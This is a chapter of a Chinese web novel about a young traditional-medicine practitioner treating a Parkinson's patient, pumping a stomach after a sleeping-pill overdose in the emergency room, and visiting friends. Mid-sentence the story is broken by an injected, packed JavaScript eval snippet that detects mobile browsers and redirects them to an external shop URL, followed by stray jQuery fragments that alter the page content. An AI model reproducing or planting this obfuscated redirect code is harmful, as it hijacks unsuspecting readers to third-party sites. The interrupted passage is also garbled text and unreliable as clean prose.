八月中旬，沈渡开始每周三下午去裴衍的医院。不是义诊，不是工作，是私人治疗。她不要钱，裴衍也没有提过钱。她把那当成另一种学习——帕金森病，她在书上看过，在急诊科没见过，在社区义诊更没见过。现在她见到了，亲手摸到了那个脉，弦细，尺弱，像一根被拉了很久的琴弦，松不下来。
她给裴衍开了大定风珠加减。不是因为她确定这个方子对帕金森有效，是因为辨证属“肝风内动、肾精不足”，大定风珠是古人的经验。她没有经验，只能借古人的。裴衍吃了第一周，没什么变化。手还是抖，走路还是慢，写字还是小。他告诉她，他以前能写毛笔字，现在连签名都困难。他没有抱怨的语气，像在说一件与自己无关的事。
沈渡没有气馁。她知道自己不是神医，治不了帕金森。但她想试一试，也许不能让他不抖，但能让他抖得轻一点；也许不能让他走路正常，但能让他走得稳一点。一点也是好。贺老说，“治不好，不丢人。不治，才丢人。”
周三下午从裴衍那里出来，沈渡去了林院长家。她已经有几周没去了，上次去还是梅雨的时候。林院长家的空调开着，客厅里凉飕飕的。兰花谢了，叶子还绿着，摆放在茶几上。林院长坐在沙发上，手里拿着一本书。
“来了？坐。”沈渡把裴衍的情况说了一遍。林院长听完没有立刻说话，合上书放在膝盖上。“大定风珠是古方，你用对了。但你有没有想过，他的病不只是肝肾的问题？”沈渡想了想。“还有血瘀？”“还有痰浊。帕金森病久，气血运行不畅，痰瘀互结。你光补肝肾、熄肝风不够，要化痰、活血、通络。”沈渡在脑子里把方子重新过了一遍——大定风珠加僵蚕、地龙、川芎、丹参。
“僵蚕、地龙、川芎、丹参。”林院长点了点头，“你去试试。”
从林院长家出来，天已经快黑了。沈渡走到公交站，等车的时候手机震了。陈媛发来一张照片——她烤的面包，焦了，黑乎乎的。沈渡问她能吃吗，她说能吃，把焦的皮剥了，里面是白的。沈渡回了一个“好”，没有说好吃，也没说不好吃，她对于食物没有太多评价，只知道苦就是苦，甜就是甜。
急诊科的夜班还是一周一次。沈渡已经习惯了那种节奏，晚上六点到早上八点。她不再靠墙站着，不再口袋里揣着浓茶，不再在抢救室门口腿软。她在黄区独立接诊了——不是真的独立，是陈槿在隔壁，有不确定的随时可以问。但她问得越来越少了，不是她都会了，是会的大概率不会错，不会的大概率问也来不及。不如先处理，处理完再问。错了，改。对了，记住。
八月的第三个夜班，她遇到了一个让她棘手的病人。年轻女人，二十出头，捂着肚子进来。不是宫外孕，不是阑尾炎，不是胆囊炎，不是胰腺炎。她的疼痛位置不固定，一会儿在上腹，一会儿在脐周，一会儿在下腹。疼痛的性质也不固定，有时候刺痛，有时候胀痛，有时候绞痛。沈渡把了脉，脉弦。弦主痛，也主气滞。她看着女人的脸，眼睛很红，像哭过。
“你最近是不是有什么事？”女人的眼泪掉了下来。“我男朋友跟我分手了，我想不开，吃了半瓶安眠药。”沈渡的心跳快了一下，但她脸上没有动。“什么时候吃的？”“昨晚。”“吃了多少？”“不知道，半瓶。”“现在有什么感觉？”“头晕，想吐。”
洗胃。沈渡不是第一次看到了，跟着陈槿学过好几次，自己操作还是第一次。胃管从鼻腔插进去，女人干呕了几下。沈渡的手很稳，没有因为她的干呕就停下来。胃管到位，注射器回抽，胃内容物混着药片残渣涌出来。她看着那些白色的碎片，心想，她不想活了，但她没有死。因为她被送到了急诊室，因为她遇到了一个会洗胃的医生——不是医生，是会洗胃的人。
洗胃结束后，女人被收入留观室。沈渡站在床边看了她一阵。她睡着了，睫毛很长，脸上还有泪痕，手背上扎着留置针，透明敷料贴得平平整整。她不知道她醒了以后还会不会想死，不知道她会不会再次吞下安眠药，不知道她能不能走出这个阴影。她只知道她现在活着，在她面前呼吸平稳，心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17667093|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
电监护上的数字在正常范围。活着就有机会，死了就没有。她关了灯，轻轻带上门。
周五下午，沈渡去徐敏家吃饭。念念快七个月了，会扶着墙走了。徐敏说她已经摔了无数次，但从来不哭。沈渡把她放在爬行垫上，在她周围摆了一圈枕头。念念爬了一会儿，扶着枕头站起来，站了几秒，一屁股坐下去，愣了一下，又爬起来了。沈渡看着她，心想——念念比她勇敢。她摔了那么多次，从来不哭。她不是不疼，是觉得疼也没关系。
徐敏在厨房做饭，沈渡靠在厨房门口跟她说话。
“你最近是不是很忙？看你瘦了。”
“还好。”
“你那个病人，姓裴的，怎么样了？”
沈渡愣了一下。“你怎么知道？”
“贺老跟我说的。他说你在给一个帕金森病人治病，那个人是开医院的。”
沈渡靠在门框上，看着锅里翻滚的汤。“他病得很重。我只能缓解，不能治愈。但能缓解一点是一点。”
徐敏把火关了，转过身看着她。“沈渡，你给自己压力太大了。你不是神仙，你只是一个人。一个人能做的事有限，你做了你能做的，就够了。”
沈渡没接话。她不知道她做的是不是足够，但她在做。
晚上回到家，沈渡翻开《金匮要略》，读到“血痹虚劳病脉证并治”那一章。“夫男子平人，脉大为劳，极虚亦为劳。”脉大是劳，极虚也是劳。裴衍的脉不是大，也不是极虚，是弦细。弦细也是劳，劳在肝，在肾。她合上书，关了灯。她想到了裴衍说的那句话——“你像一个人。”像谁？林院长也说过。她们说的可能是同一个人，可能不是。沈渡不知道，她也不需要知道。像谁不重要，重要的是她是不是自己。
窗外的路灯没灭，沈渡半睁着眼，在昏暗中看着天花板上的光晕慢慢扩散。她想，明天还要去急诊科，周末还要去社区义诊。裴衍的方子要调整，林院长的作业要完成，贺老的枇杷果该摘了。她的事情很多，一件一件做，总能做完。